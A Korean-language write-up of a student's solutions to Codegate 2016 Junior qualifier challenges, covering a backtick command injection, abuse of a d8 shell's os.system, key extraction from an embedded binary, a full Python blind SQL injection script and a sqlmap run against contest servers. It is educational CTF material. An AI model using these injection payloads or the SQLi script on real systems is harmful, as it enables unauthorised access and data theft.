

Codegate 2016 Junior Prequal Write-up

5kyc1ad(전상현)

MIC Check - 1pt (pwnable)

아마도 문제 제목을 저렇게 낸 이유는 공연 전 마이크 테스트를 하는 것처럼 쉬운 것을 하나 풀면서 몸이라도 푸라고 저렇게 정한 게 아닐까...

MIC Check

Who's in here?

ssh mic@175.119.158.131 -p11133

pw : miccheck

already solved

auth

배점은 1 점짜리, pwnable.kr 의 cmd 와 비슷한 문제.

```

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int main( int argc, char *argv[], char **environ )
{
    char buf[12] = { 0, };
    char cmd[2048] = { 0, };
    unsigned int i = 0;

    char **e;
    size_t len;

    printf( "input path : " );
    fgets( buf, 10, stdin );

    for( i = 0; i <= 11; i++ ) {
        if( buf[i] == '\\' ) exit(0);
        if( buf[i] == '&' ) exit(0);
        if( buf[i] == ';' ) exit(0);
        if( buf[i] == '|' ) exit(0);
        if( buf[i] == '\"' ) exit(0);
        if( buf[i] == ' ' ) exit(0);
    }

    sprintf( cmd, "/bin/ls -al /dev/%s", buf );

    for( e = environ; *e; ++e ) {
        len = strlen( *e );
        memset( *e, 0x00, len );
    }

    setregid( 1003, 1003 );
    system( cmd );

    return 0;
}

```

입력값을 특정 값과 비교하여 필터링하고 나서 통과하면 특정 문자열에 sprintf로 붙여넣고, 이를 system 함수로 실행시켜주는 프로그램이다.

여기서 백쿼터(`)가 필터링되지 않았으므로 삽입하는 것으로 쉘 명령을 실행하여 결과를 /bin/ls에 삽입하는게 가능하고, 여기서 `Wx20`은 필터링되었지만 `Wt`는 필터링되지 않았으므로 인자를 넣는 것도 가능하다.

fgets로 최대 10 글자만큼 받아오도록 설정되어있어 mic.flag.txt 라는 파일명을 다 칠수 없었으므로 와일드문자로 대체하였다.

```
mic@ubuntu:~$ ./miccheck
input path : `cat *`
/bin/ls: cannot access /dev/let: No such file or directory
/bin/ls: cannot access the: No such file or directory
/bin/ls: cannot access hacking: No such file or directory
/bin/ls: cannot access begins: No such file or directory
/bin/ls: cannot access flag: No such file or directory
```

`catWt*`를 입력했고, flag를 읽어 내부 내용을 그대로 /bin/ls의 인자로 넣게 되면서 나타나는 오류 메시지를 통해 flag의 내용을 알아낼 수 있었다.

flag : let the hacking begins

JS_is_not_a_Jail - 100pt (misc)

JS_is_not_a_jail

nc 175.119.158.131 1129

already solved

auth

JS 라고 하길래 Javascript 와 관련된 문제인 줄 알고 한번 접속해보고 헤메다가 한참 뒤에 풀었다.

```
d8> os
os
{system: function system() { [native code] }, chdir: function chdir() { [native code] }, setenv:
ive code] }, mkdirp: function mkdirp() { [native code] }, rmdir: function rmdir() { [native code]
d8> os.system("ls")
os.system("ls")
"bin
boot
dev
etc
home
initrd.img
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
"
d8> █
```

문제의 주소에 접속하면 뭔가 대화형 셸같은걸 하나 주는데, 여기에 명령을 몇번 치다 보면 파이썬 셸과 매우 유사하다는 것을 알 수 있다.

python 내장 라이브러리중 하나인 os 를 쳐보니 내부에서 사용 가능한 함수들이 나열되고, 이를 이용해 shell 에 명령을 전달하는 system 함수를 쓸 수 있었다.

(이 이후부터는 서버에 접속이 되지 않아 이미지 없이 계속하겠습니다)

그리고 `os.chdir` 이라는 함수를 이용해서 현재 `directory` 를 변경할 수 있으며, `/home/codegate` 디렉토리로 이동하고 `os.system("ls")` 함수로 내용을 확인해 보면 `js` 파일과 `py` 파일이 하나 존재한다.

그런데 어찌된 일인지 `system` 함수의 인자로 공백이나 `'\n'`이 넘어가지 않아 인자를 넣을 수가 없었는데, 다른 함수가 없나 여러 번 계상하는 도중 `read` 라는 함수가 존재하는것을 확인했고, 이 함수는 파일 이름을 문자열로 넘겨주면 해당 파일을 읽어서 보여주는 것을 알 수 있었다.

따라서 `chdir` 로 `/home/codegate` 로 이동한 다음 `js` 파일을 읽으면 아래쪽에 `flag` 변수에 씌여있는 값을 읽을 수 있다.

flag : easy xD, get a more hardest challenge!

Crypt1nth3sh3ll - 333pt (reversing)

Crypt1nth3sh3ll

<https://goo.gl/2nLO7Y><http://codegate.bpsec.co.kr/static/files/96484db6bf3df434ff7b3a5d57f8dae9>

already solved

auth

워낙 리버싱을 힘들어하고 배점도 높아서 손 댈 엄두가 안 났었던 문제.

결국 풀 문제가 안보이는데 많이 풀었길래 잡고 허무하게 풀었다.

AppJailLauncher.exe	2016-02-28 오전...	응용 프로그램	86KB
ProcHollow1.exe	2016-03-05 오전...	응용 프로그램	118KB

두 가지 파일을 주는데, 둘 다 DLL 파일이 없으면서 제대로 실행되지 않아 직접 다운받아 넣어줘야 했다.

AppJailLauncher 파일을 실행시켜 도움말을 확인해 보니 포트를 열어서 그곳으로 접속시 특정 프로그램을 실행하도록 하는 모양인데, 그 파일이 아마 ProcHollow1 인 모양이었다.

그런데 도저히 ProcHollow1 파일을 분석해도 답이 나오질 않아서 엄청 고민하던 중,

```

A 0000D5FE 0040FBFE 0 FreeLibrary
A 0000D60C 0040FC0C 0 GetModuleFileNameW
A 0000D622 0040FC22 0 GetModuleHandleW
A 0000D8ED 004100ED 0 !This program cannot be run in DOS mode.
A 0000DA80 00410280 0 .text
A 0000DA48 004102A8 0 .rdata
A 0000DA0E 004102CE 0 .data

```

bintext 라는 프로그램을 이용하여 프로그램 내부에서 사람이 읽을 수 있는 문자열들을 골라서 끊어 오자, 맨 위가 아니고 중간정도쯤에 DOS Stub 이 한번 더 나오는 것을 볼 수 있었다.

```

0000D850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 .....
0000D860 12 04 00 00 80 00 00 00 00 00 00 00 00 00 00 00 ....€.....
0000D870 00 00 00 00 00 00 01 00 09 04 00 00 90 00 00 00 .....
0000D880 A0 00 01 00 00 F4 00 00 00 00 00 00 00 00 00 00 .....δ.....
0000D890 A0 F4 01 00 7D 01 00 00 00 00 00 00 00 00 00 00 .....δ..}.....
0000D8A0 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.....ÿÿ..
0000D8B0 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 .....@.....
0000D8C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 .....
0000D8D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 .....è...
0000D8E0 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ..°..'.í!..Lí!Th
0000D8F0 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno
0000D900 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS
0000D910 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 mode...$......
0000D920 93 5C 1D C9 D7 3D 73 9A D7 3D 73 9A D7 3D 73 9A "\.É×=sš×=sš×=sš
0000D930 DA 6F AE 9A D4 3D 73 9A DA 6F 93 9A C4 3D 73 9A Úo@sšÔ=sšÚo`šÄ=sš
0000D940 DA 6F 92 9A D0 3D 73 9A 0A C2 B8 9A D5 3D 73 9A Úo' šĐ=sš.Ā, šŌ=sš
0000D950 D7 3D 72 9A EB 3D 73 9A 62 A3 92 9A D6 3D 73 9A ×=ršë=sšbŁ' šŌ=sš
0000D960 62 A3 93 9A D6 3D 73 9A DA 6F A8 9A D6 3D 73 9A bŁ`šŌ=sšÚo` šŌ=sš
    
```

해당 부분은 HxD 로 검색해서 찾아보니, 바이너리가 하나 더 들어있는 것을 볼 수 있었다.

이를 전부 굵어와서 실행해 보니 똑같은 파일처럼 보였지만

```

009F1D9B ASCII "w2",0
009F1D9E ASCII "w1",0
009F2118 PUSH newApp.009FBC50          ASCII "%c"
009F22EF PUSH newApp.009FBC54          ASCII "decrypted : "
009F2336 PUSH newApp.009FBC68          ASCII "END"
009F2380 DD newApp.009F23C7            ASCII "rk"
009F2398 DD newApp.009F23C2            ASCII "mk"
009F23B0 DD newApp.009F23B4            ASCII "cryptResult"
009F23B4 ASCII "cryptResult",0
    
```

전에는 안보이던 decrypted 라는 문자열이 ollydbg 의 string 검색에 걸린 것을 볼 수 있었다.

이 부분으로 들어가서 주변 코드를 좀 살펴봤는데,


```

009F214A . 57 PUSH EDI
009F214B . 8DBD 70FEFFFF LEA EDI,DWORD PTR SS:[EBP-190]
009F2151 . B9 64000000 MOV ECX,64
009F2156 . B8 CCCCCCCC MOV EAX,CCCCCCCC
009F215B . F3:AB REP STOS DWORD PTR ES:[EDI]
009F215D . C685 94FEFFFF MOV BYTE PTR SS:[EBP-16C],41
009F2164 . C685 95FEFFFF MOV BYTE PTR SS:[EBP-16B],52
009F216B . C685 96FEFFFF MOV BYTE PTR SS:[EBP-16A],49
009F2172 . C685 97FEFFFF MOV BYTE PTR SS:[EBP-169],41
009F2179 . C685 98FEFFFF MOV BYTE PTR SS:[EBP-168],5F
009F2180 . C685 99FEFFFF MOV BYTE PTR SS:[EBP-167],49
009F2187 . C685 9AFEFFFF MOV BYTE PTR SS:[EBP-166],53
009F218E . C685 9BFEFFFF MOV BYTE PTR SS:[EBP-165],5F
009F2195 . C685 9CFEFFFF MOV BYTE PTR SS:[EBP-164],47
009F219C . C685 9DFEFFFF MOV BYTE PTR SS:[EBP-163],4F
009F21A3 . C685 9EFEFFFF MOV BYTE PTR SS:[EBP-162],4F
009F21AA . C685 9FFEFFFF MOV BYTE PTR SS:[EBP-161],4F
009F21B1 . C685 A0FEFFFF MOV BYTE PTR SS:[EBP-160],44
009F21B8 . C685 A1FEFFFF MOV BYTE PTR SS:[EBP-15F],21
009F21BF . C685 A2FEFFFF MOV BYTE PTR SS:[EBP-15E],7E
009F21C6 . C685 A3FEFFFF MOV BYTE PTR SS:[EBP-15D],21
009F21CD . C685 7CFEFFFF MOV BYTE PTR SS:[EBP-184],8D
009F21D4 . C685 7DFEFFFF MOV BYTE PTR SS:[EBP-183],14
009F21DB . C685 7EFEFFFF MOV BYTE PTR SS:[EBP-182],70
009F21E2 . C685 7FFEFFFF MOV BYTE PTR SS:[EBP-181],62
009F21E9 . C685 80FEFFFF MOV BYTE PTR SS:[EBP-180],5F
009F21F0 . C685 81FEFFFF MOV BYTE PTR SS:[EBP-17F],59
009F21F7 . C685 82FEFFFF MOV BYTE PTR SS:[EBP-17E],0EB
009F21FE . C685 83FEFFFF MOV BYTE PTR SS:[EBP-17D],0AC
009F2205 . C685 84FEFFFF MOV BYTE PTR SS:[EBP-17C],0B0
009F220C . C685 85FEFFFF MOV BYTE PTR SS:[EBP-17B],0E5
009F2213 . C685 86FEFFFF MOV BYTE PTR SS:[EBP-17A],5B
009F221A . C685 87FEFFFF MOV BYTE PTR SS:[EBP-179],53
009F2221 . C685 88FEFFFF MOV BYTE PTR SS:[EBP-178],4B
009F2228 . C685 89FEFFFF MOV BYTE PTR SS:[EBP-177],3E
009F222F . C685 8AFEFFFF MOV BYTE PTR SS:[EBP-176],46
009F2236 . C685 8BFEFFFF MOV BYTE PTR SS:[EBP-175],2B
009F223D . C785 74FEFFFF MOV DWORD PTR SS:[EBP-18C],0
009F2247 . EB 0F JMP SHORT newApp.009F2258
009F2249 > 8B85 74FEFFFF MOV EAX,DWORD PTR SS:[EBP-18C]
009F224F . 83C0 01 ADD EAX,1
009F2252 . 8985 74FEFFFF MOV DWORD PTR SS:[EBP-18C],EAX
009F2258 > 83BD 74FEFFFF CMP DWORD PTR SS:[EBP-18C],10
009F225F . 7D 16 JGE SHORT newApp.009F2277
009F2261 . 6B8D 74FEFFFF IMUL ECX,DWORD PTR SS:[EBP-18C],11
    
```

그 윗부분을 확인해 보니 뭔가 특정 문자열을 [EBP-10C] 부분부터 복사하기 시작했는데, 이 부분에 BP 를 걸고 해당 주소를 확인해 보면 키 값을 찾을 수 있다.

Address	Hex dump	ASCII
0018FC98	41 52 49 41 5F 49 53 5F 47 4F 4F 4F 44 21 7E 21	ARIA_IS_GOOD!~!
0018FCA8	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	ㄷㄷㄷㄷㄷㄷㄷㄷ
0018FCB8	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	ㄷㄷㄷㄷㄷㄷㄷㄷ
0018FCC8	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	ㄷㄷㄷㄷㄷㄷㄷㄷ
0018FCD8	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	ㄷㄷㄷㄷㄷㄷㄷㄷ
0018FCE8	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	ㄷㄷㄷㄷㄷㄷㄷㄷ
0018FCF8	CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC	ㄷㄷㄷㄷㄷㄷㄷㄷ

flag : ARIA_IS_GOOD!~!

Blog - 98pt (web)

Blog

<http://175.119.158.137:8070/631fdb2344d75933820ee962c9168b25/>

Find flag

<http://175.119.158.137:8070/631fdb2344d75933820ee962c9168b25/>

already solved

auth

대회가 끝나고 나니 문제 서버가 닫힌건지 접속이 되지 않아서 그냥 풀이와 페이로드만 쓰겠다.
일단 접속하면 말 그대로 블로그와 같은 페이지가 나타나는데, 게시판 같은 곳을 살펴보면 글을 고유한 번호에 의해 관리하는 것을 알 수 있다.

이는 id 라는 변수로 read.php 의 인자로써 GET 방식으로 전달된다.
그리고 여기에서 SQL Injection 취약점이 발생하는데, 그냥은 DB 의 값을 빼낼 수 없으므로 Blind SQL Injection 을 이용해야 했으며 테이블이나 컬럼에 대한 정보가 전혀 나오지 않았기 때문에 information_schema 를 이용했다.

이를 이용해 Table 과 Column 정보를 모두 빼오고, 결과적으로 얻게 된 blog 라는 테이블명과 contents 라는 컬럼명을 이용해 다시 한번 Blind SQL Injection 을 수행하여 웹에서는 접근이 금지된 id=0 의 게시글을 가져올 수 있었다.

파이썬을 이용하여 코드를 작성하였으며, Table 이나 Column 명을 알아내는 것은 SELECT 문의 인자만 contents 에서 table_name 과 column_name 으로 바꾸고 information_schema 에서 가져오도록 하면 되므로 contents 를 빼오는 소스만 쓰겠다.

소스코드는 아래와 같다.

```
web.py x
1 import httpLib
2 import urllib
3 from time import *
4
5 #===== Config =====
6 isGET = True
7 printLog = False
8
9 PASSWD_LENGTH = 100
10 TARGET = "175.119.158.137"
11 URL = "/631fdb2344d75933820ee962c9168b25/read.php"
12 PORT = 8070
13 SUCCESS = "Welcome to our site!"
14
15 HEADER = {
16     "Content-Type": "application/x-www-form-urlencoded",
17 }
18 #=====
19
20 req = ""
21 checklast = 0
22
23 print "[*] Blind SQL Injection to '"+TARGET+":'+str(PORT)+URL+' Start"
24 print "[*] Printing Log : " + str(printLog)
25 if isGET == True:
26     print "[*] HTTP Method : GET"
27 else:
28     print "[*] HTTP Method : POST"
29 for k in range(0, 60, 1):
30     for i in range(1, PASSWD_LENGTH):
31         for j in range(32, 128):
32             conn = httpLib.HTTPConnection(TARGET, PORT)
33             PARAM = urllib.urlencode({
34                 "id": "1' and ascii(substr((select contents from blog limit "+str(k)+",1),"+str(i)+",1))="+str(j)+" #"
35                 # "pw": "admin"
36             })
37             if isGET == True:
38                 conn.request('GET', URL+"?" + PARAM, "", HEADER)
39             else:
40                 conn.request('POST', URL, PARAM, HEADER)
41             res = conn.getresponse().read()
42             if SUCCESS in res:
43                 print "[*] Find!! : %c" % chr(j)
44                 req += chr(j)
45                 checklast = 0
46                 break
47             else:
48                 if printLog == True:
49                     print "[%d][%d][%d]" % (k, i, j)
50                 checklast = 1
51
52 if checklast != 0 :
53     print "[*] Found String : %s" % req
54     req = ""
55     break
56
57
```

flag : Im_Feeling_Lucky

222 - 128 pt (web)

222

<http://175.119.158.137:8070/98135cd7ff989cae89e86672a4b8bffb/>

Find flag :)

<http://175.119.158.137:8070/98135cd7ff989cae89e86672a4b8bffb/>

already solved

auth

이것도 마찬가지로 Blind SQL Injection 문제였다.

이름, 이메일, 메시지를 입력해서 contact_me.php 에 POST 의 인자로 보내는 부분에서 SQL Injection 취약점이 발생하며, 웹사이트의 Response 값을 확인하는 것으로 예러가 발생하는지 여부를 알 수 있다.

마찬가지로 Blind SQL Injection 소스를 작성하려고 했으나 웬지 %23 으로 주석이 들어가지 않아서 직접 짜지 않고 이미 만들어진 툴을 사용하기로 했다.

선택한 툴은 유명한 sqlmap 이었고, 처음으로 써보는 터라 사용법을 익히는데 조금 애먹었다.

attack.txt - 메모장

파일(F) 편집(E) 서식(O) 보기(V) 도움말(H)

```
POST http://175.119.158.137:8070/98135cd7ff989cae89e86672a4b8bffb/mail/contact_me.php HTTP/1.1
Host: 175.119.158.137:8070
Connection: keep-alive
Content-Length: 124
Accept: */*
Origin: http://175.119.158.137:8070
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://175.119.158.137:8070/98135cd7ff989cae89e86672a4b8bffb/contact.html
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.8,en-US;q=0.6,en;q=0.4
Cookie: PHPSESSID=m6fo7kbcf9mdnovsrs3pjo6ru0
name=Hello&phone=Hello&email=Hello%40Hello.com&message=aaaaa
```

정상적인 POST 요청을 하나 통째로 잡아서 저장하고,

```
project-sqlmap-252eb97>python sqlmap.py -r attack.txt -p message
```

이것과 공격할 인자를 옵션으로 담아 sqlmap 을 돌려서 키를 따내는 데에 성공했다.

flag : Oh_y0u_kn0w_h0w_t0_sqli

=====

코드게이트라는 대회&컨퍼런스가 있다는 것은 고등학교 1학년 때에 처음으로 알았고, IT, 보안 공부를 막 시작했음에도 불구하고 국제 보안 컨퍼런스인 코드게이트 주니어에, 아무것도 못 알아들을 것이면서도 당당하게 갔다 왔었다.

당연하게도 거의 모든 내용을 알아듣지 못했고 '이런 곳도 있구나, 대단하다' 하고 감탄만 하고 돌아왔다.

이후, 여러 위게임을 풀고 대회에도 참가하고, 입상도 해 보면서 이 대회에도 나가서 입상해보고 싶다고 생각했다. 작년 코드게이트 주니어에도 참가했었는데, 작년에는 겨우 1년 공부하고 실력이 너무나 부족하여 한 문제밖에 풀지 못했고, 결국 51 위로 본선에 진출하지 못하고 끝났다.

그리고 다음 년도에는 꼭 본선에 참가할 수 있도록, 열심히 공부하기로 결심했다.

그리고 이제 고등학교 3학년이 되었고, 주니어에 참가할 수 있는 마지막 기회인 만큼 꼭 본선에 나가고 싶다고 생각하고 있는 힘을 다해 대회에 매진했다.

결과적으로 17 위라는 등수로 대회를 마무리했고, 드디어 그렇게 가고 싶었던 본선에 진출할 기회를 얻게 되었다. 이번 코드게이트 본선은 학교 중간고사와 딱 겹치는 날에 시행된다.

아마도 이 대회에 참가하면 고등학교 3학년의 중간고사를 버리고 가야 하겠지만, 이를 포기하고라도 본선은 꼭 참여하고 싶으므로 중간고사를 포기하고 대회에 참가하게 될 것 같다.

풀 수 있었는데도 못 푼 문제들은 너무 아쉬웠고, 이후 가상머신에 직접 구현하여 다시 한 번 공격해보면서 문제를 분석해보도록 하겠다.